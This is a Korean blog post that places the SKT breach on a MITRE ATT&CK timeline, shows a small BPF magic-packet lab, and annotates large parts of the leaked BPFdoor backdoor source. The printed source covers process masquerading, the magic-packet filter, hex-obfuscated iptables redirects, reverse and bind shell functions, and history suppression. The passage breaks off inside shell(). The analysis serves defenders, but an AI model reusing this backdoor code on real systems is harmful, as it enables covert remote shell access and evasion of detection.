Bpfdoor

최근 SKT에서 발생한 침해서고로 연일 시끌시끌하다. 공격자는 USIM 데이터를 탈취해갔고, 2차 피해가 우려되는 상황이라고 하는데.. 어떻게 진행될지 추이를 지켜봐야 할 것 같다.

이런 저런 기사와 분석 글을 찾다 보니 공격 타임라인이 그려지긴 한다. 먼저 MITRE ATT&CK의 Tactic관점에서 간단하게 살펴보자.


1. 공격 타임라인 생각해보기

이런 APT 공격의 특징은 은밀하고 또 치명적이라는 것이다. 공격자는 수단과 방법을 가리지 않고 최초 침투에 필요한 방법을 동원한다. 이러한 상황에서 가장 좋은 접근 방법은 내가 공격자가 되어 공격자의 관점에서 생각해보는 것이다(공격을 하라는 말은 아니다)


1. Initial Access

파악 불가. (사실 이게 가장 중요하다. 공격자가 어떤 방법으로 최초 침투를 수행했는지) 아마 최초 침투로부터 시간이 오래지났거나, 공격자가 흔적을 삭제했을 경우 최초 침투를 파악하지 못할 공산이 크다.


2. Credential Access

공격자는 최대한 많은 계정 정보와 권한 정보에 접근하려한다. 이를 통해 credential stumping, password spraying공격 등을 수행할 수 있기 때문이다.

이 때 리눅스의 password파일을 크랙하거나, lsa프로세스의 메모리를 dump 하거나, SAM레지스트리 정보를 탈취해 크랙하거나 아니면 키 로거를 설치하거나 하는 등 정말 다양한 방법을 수행할 수 있다. (심지어 다크웹에서 돈주고 사기도 한다)


3. Privilege Escalation

권한 상승은 정상 또는 - 비 정상적인 방법으로 현재 주어진 권한보다 높은 권한을 탈취하는 방법을 말한다.

가령 예를 들어보자면 linux 시스템에서 root권한으로 명령을 수행한다거나, 윈도우 시스템에서 system 권한의 셸을 탈취하는 등의 행위들을 생각해볼 수 있다.

주로 어플리케이션 취약점, 운영체제 misconfiguration, 취약한 계정정보 설정(비밀번호가 쉽다거나, 다 똑같다거나), 운영 체제 취약점 등 정말 다양한 원인이 있다.

운영체제 취약점의 경우 취약점이 발견되면 곧바로 패치가 진행되기 때문에 최신 패치를 적용 하면 이미 알려진 취약점들에 대해서는 상대적으로 안전하지만, 제로데이 취약점에는 방법이 없다.

그리고 실제 구동중인 서비스는 가급적이면 구버전에서 업그레이드 하지 않고 그대로 사용하려는 경향이 강하다. 특히 서버나, 서비스의 경우 업데이트 했다가 서비스가 정상적으로 동작하지 않으면 여러모로 피곤하기 때문에.. 구버전을 그대로 사용하는 경우가 굉장히 많다.


4. Persistance

최초침투-권한 접근-권한 상승 등 과정을 거친 공격자는 자기 자신에게 필요한 정보를 획득할 때 까지 현재 침투한 대상과 은밀하게 연결을 유지하며 지속적으로 정보를 수집했을 것이다. (어떻게 가능했을까? 외부 IP에 대한 접근 제어가 전혀 되지 않았던 상황일까?)

또는 outbound 필터링을 엄밀하게 걸어놓지 않았다면 reverse shell 등의 방법으로 연결을 유지할수도 있다.


5. Lateral Movement

공격자가 탈취해 간 USIM 데이터는 일반적으로 외부로 노출할 필요가 없는 데이터이기 때문에 내부에서만 접근 가능하도록 접근 제어가 되어있었을 것이다. 또한 인가자의 인가된 계정이나, 단말에서만 접근 가능하도록 설정이 되어있었을 가능성이 크다.

이 말은 공격자는 서버 침투 후 Persistance를 유지하며 지속적으로 정보를 수집했다는 말과도 같다. APT공격의 무서움이다.


6. Impact

일반적으로 APT공격은 이 부분에서 발견이 되거나, 여기서도 발견되지 못하면 다크웹 판메글에서 발견이 된다.. 😂 어느정도 규모가 되는 기업이나, 보안 기업에서는 관제팀을 운영한다. 관제팀은 내부-외부 트래픽을 모니터링 하며 이상치를 탐지하는 업무를 수행한다. 다음과 같은 시나리오를 한번 생각해보자.


탐지 시나리오
열심히 일하던 관제팀이 어느 날 내부망에서 약간 이상한 트래픽을 탐지했다. 

내부망에서 약 10GB가량의 데이터가 이동 한 것을 탐지했는데, 근무시간이 아니거나, 트래픽이 발생할 노드가 아니거나, DB에서 큰 데이터가 나갔거나 아무튼, 이는 일반적인 상황은 아님이 확실하다.

관제팀이 즉시 보고 CERT 전문가들이 출동해서 분석 한 결과 데이터는 이미 탈취되었고, 데이터가 빠져나간 노드를 분석해본다

수상한 파일들과 프로세스가 발견, 분석 결과 BPFdoor backdoor로 확인되었다.

SKT 입장에서는 아마 이런 상황이었을 것이라고 추정된다.

이런 큰 규모의 데이터 유출 사고가 발생하면 공공-민간 합동 분석팀이 꾸려진다. 아마도 국정원, KISA, 금보원 등을 비롯한 각계 전문가들이 열심히 분석을 수행을 했고, 지금도 분석을 하고있지 않을까?


2. BPFdoor backdoor?

그렇다면이 BPFdoor 백도어가 도대체 뭘까?

BPF는 Berkeley Packet Filter의 약자로, 1992년 Lawrence Berkeley National Laboratory에서 공개된 아주 오래된 기술이다.

BPF의 가장 큰 장점은 커널 레벨에서 동작하기 때문에 가볍고 빠른다는 것이다. 일반적으로 흔히 사용되는 snort, suricata, WAF, 프록시 등은 어플리케이션 레벨에서 동작하기 때문에 일단 모든 패킷을 다 수신하고, 거기서 필터링을 한다. 따라서 패킷을 수신하는데 오버헤드가 발생하며 상대적으로 무겁고 느리다.

하지만 BPF는 패킷의 매직를 넘버 검사한 후 일치하지 않으면 바로 드롭시켜 버릴 수 있다. Unix계열에서는 이 BPF 기능을 커널이 내장하고 있으며 특히 Linux는 BPF 실행을 위한 작은 VM이 커널에 상주하고 있다.

특정 이벤트(패킷 수신 등)가 트리거되면, JIT된 BPF 코드가 실행되어 패킷을 검사하고, 통과한 패킷들만 유저 레벨로 올려 보내는 등 기능을 설정할 수 있다.

또 특정 포트를 오픈하지 않기때문에 netstat이나 ss등 의 도구로는 탐지할 수 없다는 장점도 있다.(공격자 입장에서)


2-1. BPF 실습

BPF에는 클래식 버전인 cBPF가 있고 확장 버전인 eBPF가 있다. 실습에서는 간단하게 eBPF를 사용할 것이다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <netinet/if_ether.h>
#include <sys/socket.h>
#include <linux/filter.h>
#include <linux/if_packet.h>
#include <net/ethernet.h>

#define BUF_SIZE 2048
#define MAGIC_NUMBER 9999
#define MAGIC_OFFSET 14

struct sock_filter bpf_code[] = {
    BPF_STMT(BPF_LD | BPF_H | BPF_ABS, MAGIC_OFFSET),

    BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, 9999, 0, 1),

    BPF_STMT(BPF_RET | BPF_K, 0xFFFFFFFF),

    BPF_STMT(BPF_RET | BPF_K, 0),
};

struct sock_fprog filter = {
    .len = sizeof(bpf_code)/sizeof(bpf_code[0]),
    .filter = bpf_code,
};

int main() {
    int sockfd;
    ssize_t num_bytes;
    unsigned char buffer[BUF_SIZE];

    // 소켓 생성 (RAW 소켓, Ethernet 계층에서 IP 패킷 수신)
    if ((sockfd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL))) == -1) {
    perror("socket");
    exit(EXIT_FAILURE);
    }

    // BPF 필터를 소켓에 적용
    if (setsockopt(sockfd, SOL_SOCKET, SO_ATTACH_FILTER, &filter, sizeof(filter)) == -1) {
    perror("setsockopt");
    close(sockfd);
    exit(EXIT_FAILURE);
    }

    printf("[*] Listening for packets with magic number %d...\n", MAGIC_NUMBER);

    // 패킷 수신 루프
    while (1) {
    num_bytes = recvfrom(sockfd, buffer, BUF_SIZE, 0, NULL, NULL);
    if (num_bytes < 0) {
        perror("recvfrom");
        break;
    }

    printf("[+] Received %zd bytes: first 8 bytes = ", num_bytes);
    for (int i = 0; i < 8 && i < num_bytes; i++) {
        printf("%02x ", buffer[i]);
    }
    printf("\n");
    }

    close(sockfd);
    return 0;
}

14바이트에서 9999 값이 발견되면 터미널에 출력하도록 했다. 왜 14바이트냐면, 이더넷 헤더가 14바이트이기 때문이다.

위 코드를 빌드한 후 LAN환경에서 다음 파이썬 코드를 실행해보자(scapy를 설치해야 한다)

MAC주소는 각자의 환경에 맞게 변경해야 한다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
from scapy.all import *

# MAC 설정
dst_mac = "bc:24:11:e3:1c:2e"
src_mac = "bc:24:11:52:23:55"

# 0x270f = 9999
pkt = Ether(src=src_mac, dst=dst_mac, type=0x1234)/Raw(b'\x27\x0f') 

# 패킷 로우데이터 확인
hexdump(pkt)

# 전송
sendp(pkt, iface="eth0", verbose=True)

BPF packet send


BPF packet receive

정확하게 잡는 것을 볼 수 있다.

이를 응용하면 OSI 4 레이어까지 올라가볼 수도 있다.

4 레이어에서는 TCP와 UDP 프로토콜이 등장하고 따라서 IP와 Port를 사용한다.

다음과 같이 코드를 수정해보자

1
#define MAGIC_OFFSET 42

4 레이어에서 헤더 크기는 42 bytes 이기 때문에 offset을 변경하고 다시 빌드해주자.

빌드한 파일을 실행하고(root로 실행) 다음처럼 패킷을 설정해서 날리면

1
2
 Ether()/IP(dst="10.10.20.50")/UDP(dport=4444, sport=4321)/Raw(b'\x27\x0f')
 Ether()/IP(dst="10.10.20.50")/TCP(dport=31337, sport=4321)/Raw(b'\x27\x0f')

L4 BPF Filter

위 그림처럼 패킷을 잡는 것을 볼 수 있다.


3. BPFdoor backdoor 코드 분석

BPFdoor backdoor는 cBPF로 작성되어 있다. 전체 코드는 다음 깃허브 주소를 참고하자

https://github.com/gwillgues/BPFDoor

한번에 넣기에는 코드가 길기 때문에(약 800줄) 메인 함수부터 살펴보겠다.


3-1. BPFdoor main 함수

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88

int main(int argc, char *argv[])
{
    char hash[] = {0x6a, 0x75, 0x73, 0x74, 0x66, 0x6f, 0x72, 0x66, 0x75, 0x6e, 0x00}; // justforfun
    char hash2[]= {0x73, 0x6f, 0x63, 0x6b, 0x65, 0x74, 0x00}; // socket
    char *self[] = {
        "/sbin/udevd -d",
        "/sbin/mingetty /dev/tty7",
        "/usr/sbin/console-kit-daemon --no-daemon",
        "hald-addon-acpi: listening on acpi kernel interface /proc/acpi/event",
        "dbus-daemon --system",
        "hald-runner",
        "pickup -l -t fifo -u",
        "avahi-daemon: chroot helper",
        "/sbin/auditd -n",
        "/usr/lib/systemd/systemd-journald"
    };
 
    pid_path[0] = 0x2f; pid_path[1] = 0x76; pid_path[2] = 0x61;
    pid_path[3] = 0x72; pid_path[4] = 0x2f; pid_path[5] = 0x72;
    pid_path[6] = 0x75; pid_path[7] = 0x6e; pid_path[8] = 0x2f;
    pid_path[9] = 0x68; pid_path[10] = 0x61; pid_path[11] = 0x6c;
    pid_path[12] = 0x64; pid_path[13] = 0x72; pid_path[14] = 0x75;
    pid_path[15] = 0x6e; pid_path[16] = 0x64; pid_path[17] = 0x2e;
    pid_path[18] = 0x70; pid_path[19] = 0x69; pid_path[20] = 0x64;
    pid_path[21] = 0x00; // /var/run/haldrund.pid
 
    // 생성한 /var/run/haldrund.pid 파일의 권한 체크 
    if (access(pid_path, R_OK) == 0) {
        exit(0);
    }

    // root 권한 있는지 체크
    if (getuid() != 0) {
        return 0;
    }
 
    // 인자 개수 체크
    if (argc == 1) {
        if (to_open(argv[0], "kdmtmpflush") == 0)
            _exit(0);
        _exit(-1);
    }
 
    // cfg 구조체 초기화
    bzero(&cfg, sizeof(cfg));
 
    // 시각 시드로 난수 생성
    srand((unsigned)time(NULL));

    // self 배열 중 랜덤 하나 선택, process masqurade 용
    strcpy(cfg.mask, self[rand()%10]);
    // pass key 설정, magic byte
    strcpy(cfg.pass, hash);
    strcpy(cfg.pass2, hash2);

    // 바이너리 접근시간 변경
    setup_time(argv[0]);
 
    // 프로세스 이름 변경 적용
    set_proc_name(argc, argv, cfg.mask);
 
    // 자식 프로세스 생성
	// fork() 함수는 pid를 리턴하므로 부모 프로세스에서는 exit(0)으로 프로세스 종료
	// 아래 흐름부터는 자식 프로세스에서 동작, daemonize
    if (fork()) exit(0);

    // 시그널 초기화
    init_signal();

    // 자식 프로세스 종료 시 sigchild 처리해 좀비 프로세스 방지
    signal(SIGCHLD, sig_child);

    // 현재 pid 를 godpid 변수에 저장
    godpid = getpid();

    // 중복 실행 방지
    close(open(pid_path, O_CREAT|O_WRONLY, 0644));

    // 자식 프로세스 종료 시 커널이 프로세스 테이블에서 자동 정리
    signal(SIGCHLD,SIG_IGN);

    // 새로운 세션, 프로세스 그룹, 터미널과 분리, w나 who에서 확인 불가능
    setsid();
    // 패킷 수신루프 진입
    packet_loop();
    return 0;
}

각 함수에는 주석을 달아놓았는데, 이런 저런 함수 호출들은 전부 은닉이나 자식 프로세스 처리에 관련된 코드다.

특히 현재 시각을 시드로 난수를 생성한 후 프로세스 이름을 임의 선택으로 변경해 백도어를 일반적인 프로세스로 위장하고,

또 바이너리 접근시각을 변경하는등 여러가지 탐지 회피 기법이 적용되어 있다.

핵심 기능으로 가려면 packet_loop 함수로 들어가봐야 한다.


3-2. BPFdoor packet_loop 함수

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
 
void packet_loop()
{
    int sock, r_len, pid, scli, size_ip, size_tcp;
    socklen_t psize;
    uchar buff[512];
    const struct sniff_ip *ip;
    const struct sniff_tcp *tcp;
    struct magic_packet *mp;
    const struct sniff_udp *udp;
    in_addr_t bip;
    char *pbuff = NULL;
    
    //
    // Filter Options Build Filter Struct
    //
 
    struct sock_fprog filter;
    
    // struct sock_filter {

    //     __u16 code;  // BPF opcode
    //     __u8 jt;     // jump true offset
    //     __u8 jf;     // jump false offset
    //     __u32 k;     // constant or offset
    // };
    // BPF opcode, BPF instruction set이다.
    struct sock_filter bpf_code[] = {
        // 패킷의 오프셋 0xC(12) 위치 데이터를 로드, EtherType
        { 0x28, 0, 0, 0x0000000c },
        // 0xC위치 값이 0x800이 아니면 27개 점프 == DROP 
        { 0x15, 0, 27, 0x00000800 },
        // 0x17 = 23 = Protocol 로드
        { 0x30, 0, 0, 0x00000017 },
        // 0x11 = UDP 아니면 5개 점프
        { 0x15, 0, 5, 0x00000011 },
        // fragment offset 로드
        { 0x28, 0, 0, 0x00000014 },
        // fragment 되었으면 23 만큼 점프 == DROP
        { 0x45, 23, 0, 0x00001fff },

        { 0xb1, 0, 0, 0x0000000e },
        { 0x48, 0, 0, 0x00000016 },
        { 0x15, 19, 20, 0x00007255 },
        // 3번 줄에서 분기, ICMP 인지 확인, 아니면 7개 점프
        { 0x15, 0, 7, 0x00000001 },
        { 0x28, 0, 0, 0x00000014 },
        { 0x45, 17, 0, 0x00001fff },
        { 0xb1, 0, 0, 0x0000000e },
        { 0x48, 0, 0, 0x00000016 },
        { 0x15, 0, 14, 0x00007255 },
        { 0x50, 0, 0, 0x0000000e },
        { 0x15, 11, 12, 0x00000008 },
        // 9번 줄에서 분기, TCP 프로토콜인지 확인, 아니면 11개 점프 == DROP
        { 0x15, 0, 11, 0x00000006 },
        { 0x28, 0, 0, 0x00000014 },
        { 0x45, 9, 0, 0x00001fff },
        { 0xb1, 0, 0, 0x0000000e },
        { 0x50, 0, 0, 0x0000001a },
        { 0x54, 0, 0, 0x000000f0 },
        { 0x74, 0, 0, 0x00000002 },
        { 0xc, 0, 0, 0x00000000 },
        { 0x7, 0, 0, 0x00000000 },
        { 0x48, 0, 0, 0x0000000e },
        { 0x15, 0, 1, 0x00005293 },
        { 0x6, 0, 0, 0x0000ffff },
        { 0x6, 0, 0, 0x00000000 },
    };
 
    filter.len = sizeof(bpf_code)/sizeof(bpf_code[0]);
    filter.filter = bpf_code;
 
    //
    // Build a rawsocket that binds the NIC to receive Ethernet frames
    //

    // big-endian to little-endian, 
    if ((sock = socket(PF_P
    ACKET, SOCK_RAW, htons(ETH_P_IP))) < 1)
        return;
 
    //
    // Set a packet filter
    //
 
    if (setsockopt(sock, SOL_SOCKET, SO_ATTACH_FILTER, &filter, sizeof(filter)) == -1) {
        return;
    }
 
 
    //
    // Loop to Read Packets in 512 Chunks
    //
 
 
    while (1) {
        memset(buff, 0, 512);
        psize = 0;
        r_len = recvfrom(sock, buff, 512, 0x0, NULL, NULL);
 
        ip = (struct sniff_ip *)(buff+14);
        size_ip = IP_HL(ip)*4;
        if (size_ip < 20) continue;
 
        // determine protocl from packet (offset 14)
        switch(ip->ip_p) {
            case IPPROTO_TCP:
                tcp = (struct sniff_tcp*)(buff+14+size_ip);
                size_tcp = TH_OFF(tcp)*4;
                mp = (struct magic_packet *)(buff+14+size_ip+size_tcp);
                break;
            case IPPROTO_UDP:
                udp = (struct sniff_udp *)(ip+1);
                mp = (struct magic_packet *)(udp+1);
                break;
            case IPPROTO_ICMP:
                pbuff = (char *)(ip+1);
                mp = (struct magic_packet *)(pbuff+8);
                break;
            default:
                break;
        }
        
        // if magic packet is set process
 
        if (mp) {
            if (mp->ip == INADDR_NONE)
                bip = ip->ip_src.s_addr;
            else
                bip = mp->ip;
 
            pid = fork();
            if (pid) {
                waitpid(pid, NULL, WNOHANG);
            }
            else {
                int cmp = 0;
                char sip[20] = {0};

		// /usr/libexec/postfix/master
                char pname[] = {
			0x2f, 0x75, 0x73, 0x72, 0x2f, 0x6c, 0x69, 0x62,
			0x65, 0x78, 0x65, 0x63, 0x2f, 0x70, 0x6f, 0x73,
			0x74, 0x66, 0x69, 0x78, 0x2f, 0x6d, 0x61, 0x73, 
			0x74, 0x65, 0x72, 0x00}; 
 
                if (fork()) exit(0);
                chdir("/");
                setsid();
                signal(SIGHUP, SIG_DFL);
                memset(argv0, 0, strlen(argv0));

		// sets process name (/usr/libexec/postfix/master) 
                strcpy(argv0, pname); 
                prctl(PR_SET_NAME, (unsigned long) pname);
 
                rc4_init(mp->pass, strlen(mp->pass), &crypt_ctx);
                rc4_init(mp->pass, strlen(mp->pass), &decrypt_ctx);
 
                cmp = logon(mp->pass);
                switch(cmp) {
                    case 1:
                        strcpy(sip, inet_ntoa(ip->ip_src));
                        getshell(sip, ntohs(tcp->th_dport));
                        break;
                    case 0:
                        scli = try_link(bip, mp->port);
                        if (scli > 0)
                            shell(scli, NULL, NULL);
                        break;
                    case 2:
                        mon(bip, mp->port);
                        break;
                }
                exit(0);
            }
        }
 
    }
    close(sock);
}
 

bpf_code[] 라는 배열에 BPF opcode가 작성되어 있다. 다음 표를 참고해서 분석해보자


Opcode (hex)MnemonicDescription
0x28LDH [k]Load 2 bytes (halfword) from absolute offset k into A
0x15JEQ #k jt jfIf A == k, jump jt; else jump jf
0x30LDB [k]Load 1 byte from absolute offset k into A
0x45JSET #k jt jfIf (A & k) != 0, jump jt; else jump jf
0xb1TAXTransfer A to X
0x48LDXW [X + k]Load 2 bytes from offset (X + k) into A
0x50LDXMSH [k]Load byte from offset k, shift left 2, store result in X
0x54AND #kA = A & k
0x74SUB #kA = A - k
0x0cTAXTransfer A to X (duplicate encoding of TAX)
0x07TXATransfer X to A
0x06RET #kReturn value k (e.g., 0xFFFF to accept, 0 to drop)

위 표를 기반으로 bpf_code[] 배열을 다음과같이 분석해 볼 수 있다.

LineOpcodejtjfkExplanation
00x28000x0000000cLDH [12] # Load EtherType
10x150270x00000800JEQ #0x0800 # If EtherType == IPv4
20x30000x00000017LDB [23] # Load IP protocol
30x15050x00000011JEQ #0x11 # If protocol == UDP
40x28000x00000014LDH [20] # Load fragment offset field
50x452300x00001fffJSET #0x1FFF # If fragmented, drop
60xb1000x0000000eTAX # A → X
70x48000x00000016LDW [X+22] # Load word at (X+22)
80x1519200x00007255JEQ #0x7255 # Check magic
90x15070x00000001JEQ #0x1 # Special check (condition?)
100x28000x00000014LDH [20] # Load fragment offset again
110x451700x00001fffJSET #0x1FFF # Fragmented?
120xb1000x0000000eTAX # A → X
130x48000x00000016LDW [X+22] # Load word at (X+22)
140x150140x00007255JEQ #0x7255 # Re-check magic
150x50000x0000000eLDXMSH [14] # Load length info
160x1511120x00000008JEQ #0x8 # Protocol ID?
170x150110x00000006JEQ #0x6 # Another protocol check
180x28000x00000014LDH [20] # Fragment offset again
190x45900x00001fffJSET #0x1FFF # Fragmented? again
200xb1000x0000000eTAX # A → X
210x50000x0000001aLDXMSH [26] # Load byte from offset 26
220x54000x000000f0AND #0xf0 # Mask
230x74000x00000002SUB #0x2 # Adjust
240x0c000x00000000TAX # A → X
250x07000x00000000TXA # X → A
260x48000x0000000eLDW [X+14] # Load word from (X + 14)
270x15010x00005293JEQ #0x5293 # Final magic check
280x06000x0000ffffRET #0xffff # ACCEPT
290x06000x00000000RET #0x0 # DROP

위 BPF 코드의 목적은 다음과 같다

- EtherType 검사 (IPv4만 허용)
- IP Protocol 검사 (UDP / ICMP / TCP 만 허용)
- IP Fragmentation 여부 확인
- 첫 번째 매직 넘버 검사 (X+22)==0x7255?
- (UDP 외) 프로토콜 분기 조건 검사 (ICMP 또는 TCP)
- 두 번째 매직 넘버 검사 (X+14)==0x5293?
- 위 조건 모두 만족 시: RET 0xFFFF → 패킷 수신 (ACCEPT), 아닐 시 RET 0x0000 → 커널에서 패킷 DROP

패킷이 정상적으로 통과되면 최종 목적인 getshell, shell 또는 mon 함수를 호출한한다. 어떻게 셸을 전달하는지도 한번 살펴보자.


3-3. BPFdoor Shell, getShell 함수

getshell 함수부터 살펴보자

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
void getshell(char *ip, int fromport)
{
    int  sock, sockfd, toport;
    char cmd[512] = {0}, rcmd[512] = {0}, dcmd[512] = {0};

    // /sbin/iptables -t nat -A PREROUTING -p tcp -s %s --dport %d -j REDIRECT --to-ports %d
    char cmdfmt[] = {
	0x2f, 0x73, 0x62, 0x69, 0x6e, 0x2f, 0x69, 0x70, 0x74, 0x61,
	0x62, 0x6c, 0x65, 0x73, 0x20, 0x2d, 0x74, 0x20, 0x6e, 0x61,
	0x74, 0x20, 0x2d, 0x41, 0x20, 0x50, 0x52, 0x45, 0x52, 0x4f,
	0x55, 0x54, 0x49, 0x4e, 0x47, 0x20, 0x2d, 0x70, 0x20, 0x74,
	0x63, 0x70, 0x20, 0x2d, 0x73, 0x20, 0x25, 0x73, 0x20, 0x2d, 
	0x2d, 0x64, 0x70, 0x6f, 0x72, 0x74, 0x20, 0x25, 0x64, 0x20,
	0x2d, 0x6a, 0x20, 0x52, 0x45, 0x44, 0x49, 0x52, 0x45, 0x43,
	0x54, 0x20, 0x2d, 0x2d, 0x74, 0x6f, 0x2d, 0x70, 0x6f, 0x72,
	0x74, 0x73, 0x20, 0x25, 0x64, 0x00};

	// /sbin/iptables -t nat -D PREROUTING -p tcp -s %s --dport %d -j REDIRECT --to-ports %d
    char rcmdfmt[] = {
	0x2f, 0x73, 0x62, 0x69, 0x6e, 0x2f, 0x69, 0x70, 0x74, 0x61,
	0x62, 0x6c, 0x65, 0x73, 0x20, 0x2d, 0x74, 0x20, 0x6e, 0x61,
	0x74, 0x20, 0x2d, 0x44, 0x20, 0x50, 0x52, 0x45, 0x52, 0x4f,
	0x55, 0x54, 0x49, 0x4e, 0x47, 0x20, 0x2d, 0x70, 0x20, 0x74,
	0x63, 0x70, 0x20, 0x2d, 0x73, 0x20, 0x25, 0x73, 0x20, 0x2d,
	0x2d, 0x64, 0x70, 0x6f, 0x72, 0x74, 0x20, 0x25, 0x64, 0x20,
	0x2d, 0x6a, 0x20, 0x52, 0x45, 0x44, 0x49, 0x52, 0x45, 0x43,
	0x54, 0x20, 0x2d, 0x2d, 0x74, 0x6f, 0x2d, 0x70, 0x6f, 0x72,
	0x74, 0x73, 0x20, 0x25, 0x64, 0x00};
            
	// /sbin/iptables -I INPUT -p tcp -s %s -j ACCEPT
    char inputfmt[] = {
	0x2f, 0x73, 0x62, 0x69, 0x6e, 0x2f, 0x69, 0x70, 0x74, 0x61,
	0x62, 0x6c, 0x65, 0x73, 0x20, 0x2d, 0x49, 0x20, 0x49, 0x4e, 
	0x50, 0x55, 0x54, 0x20, 0x2d, 0x70, 0x20, 0x74, 0x63, 0x70,
	0x20, 0x2d, 0x73, 0x20, 0x25, 0x73, 0x20, 0x2d, 0x6a, 0x20,
	0x41, 0x43, 0x43, 0x45, 0x50, 0x54, 0x00};
    
	// /sbin/iptables -D INPUT -p tcp -s %s -j ACCEPT
    char dinputfmt[] = {
	0x2f, 0x73, 0x62, 0x69, 0x6e, 0x2f, 0x69, 0x70, 0x74, 0x61,
	0x62, 0x6c, 0x65, 0x73, 0x20, 0x2d, 0x44, 0x20, 0x49, 0x4e,
	0x50, 0x55, 0x54, 0x20, 0x2d, 0x70, 0x20, 0x74, 0x63, 0x70,
	0x20, 0x2d, 0x73, 0x20, 0x25, 0x73, 0x20, 0x2d, 0x6a, 0x20,
	0x41, 0x43, 0x43, 0x45, 0x50, 0x54, 0x00};
            
 
    sockfd = b(&toport); // looks like it selects random ephemral port here
    if (sockfd == -1) return;
 
    snprintf(cmd, sizeof(cmd), inputfmt, ip);
    snprintf(dcmd, sizeof(dcmd), dinputfmt, ip);
    system(cmd); // executes /sbin/iptables -I INPUT -p tcp -s %s -j ACCEPT 
    sleep(1);
    memset(cmd, 0, sizeof(cmd));
    snprintf(cmd, sizeof(cmd), cmdfmt, ip, fromport, toport);
    snprintf(rcmd, sizeof(rcmd), rcmdfmt, ip, fromport, toport);
    system(cmd); // executes /sbin/iptables -t nat -A PREROUTING -p tcp -s %s --dport %d -j REDIRECT --to-ports %d
    sleep(1);
    sock = w(sockfd); // creates a sock that listens on port specified earlier
    if( sock < 0 ){
        close(sock);
        return;
    }
 
    //
    // passes sock and 
    // rcmd = /sbin/iptables -t nat -D PREROUTING -p tcp -s %s --dport %d -j REDIRECT --to-ports %d
    // dcmd =  /sbin/iptables -D INPUT -p tcp -s %s -j ACCEPT 
    //
    //
 
    shell(sock, rcmd, dcmd); 
    close(sock);
}

iptables 구문이 hex 데이터로 작성되어 있다. 이는 yara 또는 strings등 문자열 탐색을 회피하기 위한 방어 수단이다.

코드 흐름을 살펴보면 먼저 sockfd = b(&toport); 코드를 통해 port를 바인딩한다.

이후 전달받은 IP에 대해 iptables를 이용해 정책 허용, 명령 실행, 정책 삭제 작업을 반복하고 있다.

또 명령을 실행하기 위해 shell 함수를 호출한다. shell 함수를 살펴보자

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
int shell(int sock, char *rcmd, char *dcmd)
{
    int subshell;
    fd_set fds;
    char buf[BUF];

	// qmgr -l -t fifo -u
    char argx[] = {
        0x71, 0x6d, 0x67, 0x72, 0x20, 0x2d, 0x6c, 0x20, 0x2d, 0x74,
        0x20, 0x66, 0x69, 0x66, 0x6f, 0x20, 0x2d, 0x75, 0x00}; 
    char *argvv[] = {argx, NULL, NULL};
    #define MAXENV 256
    #define ENVLEN 256
    char *envp[MAXENV];

	// /bin/sh
    char sh[] = {0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00}; 
    int ret;

	// HOME=/tmp
    char home[] = {
	0x48, 0x4f, 0x4d, 0x45, 0x3d, 0x2f, 0x74, 0x6d, 0x70, 0x00}; 

	// PS1=[\u@\h \W]\\$ 
    char ps[] = {
        0x50, 0x53, 0x31, 0x3d, 0x5b, 0x5c, 0x75, 0x40, 0x5c, 0x68, 0x20,
        0x5c, 0x57, 0x5d, 0x5c, 0x5c, 0x24, 0x20, 0x00}; 

	// HISTFILE=/dev/null
    char histfile[] = {
        0x48, 0x49, 0x53, 0x54, 0x46, 0x49, 0x4c, 0x45, 0x3d, 0x2f, 0x64,
        0x65, 0x76, 0x2f, 0x6e, 0x75, 0x6c, 0x6c, 0x00}; 

	// MYSQL_HISTFILE=/dev/null
    char mshist[] = {
